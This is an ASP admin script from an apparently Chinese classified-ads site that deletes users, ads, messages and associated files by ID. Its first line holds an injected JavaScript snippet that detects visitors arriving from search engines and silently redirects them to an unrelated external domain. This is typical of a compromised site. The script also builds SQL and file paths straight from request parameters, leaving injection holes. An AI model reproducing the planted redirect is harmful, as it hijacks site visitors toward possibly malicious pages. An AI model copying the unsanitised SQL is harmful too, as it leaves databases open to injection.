d:\wwwroot\wuchunhua\admin\del.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim theid,thdel
007: theid=request("adid")
008: thedel=request("del")
009:
010: if theid="" or thedel="" then
011: response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
012: response.end
013: end if
014:
015: if thedel="user" then
016: sql="select * from china_data where instr(1,'"&theid&"',uid)>0"
017: set rs=server.createObject("ADODB.recordset")
018: rs.open sql,conn,1,1
019: Set fdel = CreateObject("Scripting.FileSystemObject")  
020: do while not rs.eof
021: '''''''''''删除图片和HTML开始''''''''''''''''
022:                 fdel.DeleteFile(Server.MapPath("../html/"&rs("adid")&".htm"))
023: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
024:                 fdel.DeleteFile(Server.MapPath("../adpic/"&rs("pic")&""))
025: end if
026: '''''''''''删除图片和HTML结束'''''''''''''''
027: rs.movenext
028: loop
029: set fdel=nothing
030: rs.close
031: set rs=nothing
032:
033: sql="delete from china_user where instr(1,'"&theid&"',uid)>0"
034: conn.execute(sql)
035:
036: sql="delete from china_data where instr(1,'"&theid&"',uid)>0"
037: conn.execute(sql)
038:
039: sql="delete from china_message where instr(1,'"&theid&"',uid)>0"
040: conn.execute(sql)
041:
042: end if
043:
044: if thedel="data" then
045: sql="select * from china_data where adid in("&theid&")"
046: set rs=server.createObject("ADODB.recordset")
047: rs.open sql,conn,1,1
048: Set fdel = CreateObject("Scripting.FileSystemObject")  
049: do while not rs.eof
050: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
051: '''''''''''删除图片开始''''''''''''''''
052:               tempImageDir = Server.MapPath("../adpic/"&rs("pic")&"")
053:                 fdel.DeleteFile(tempImageDir)
054: '''''''''''删除图片结束'''''''''''''''
055: end if
056: rs.movenext
057: loop
058: set fdel=nothing
059: rs.close
060: set rs=nothing
061: sql="delete from china_data where adid in("&theid&")"
062: conn.execute(sql)
063:
064: sql="delete from china_message where adid in("&theid&")"
065: conn.execute(sql)
066: '''''''''''删除html开始''''''''''''''''
067: Set fdel = CreateObject("Scripting.FileSystemObject")  
068: for i=1 to request("adid").count
069: id=request("adid")(i)
070:               tempImageDir = Server.MapPath("../html/"&id&".htm")
071:                 fdel.DeleteFile(tempImageDir)
072:         next
073:        set fdel=nothing
074: '''''''''''删除html结束'''''''''''''''
075: end if
076:
077: if thedel="message" then
078: sql="delete from china_message where id in("&theid&")"
079: conn.execute(sql)
080: end if
081:
082: if thedel="pass" then
083: conn.execute("update china_data set mark='yes' where adid in("&theid&")")
084: end if
085: conn.close:set conn=nothing
086: set conn=nothing                                
087: response.redirect request.ServerVariables("HTTP_REFERER")
088: %>
089:
090:

---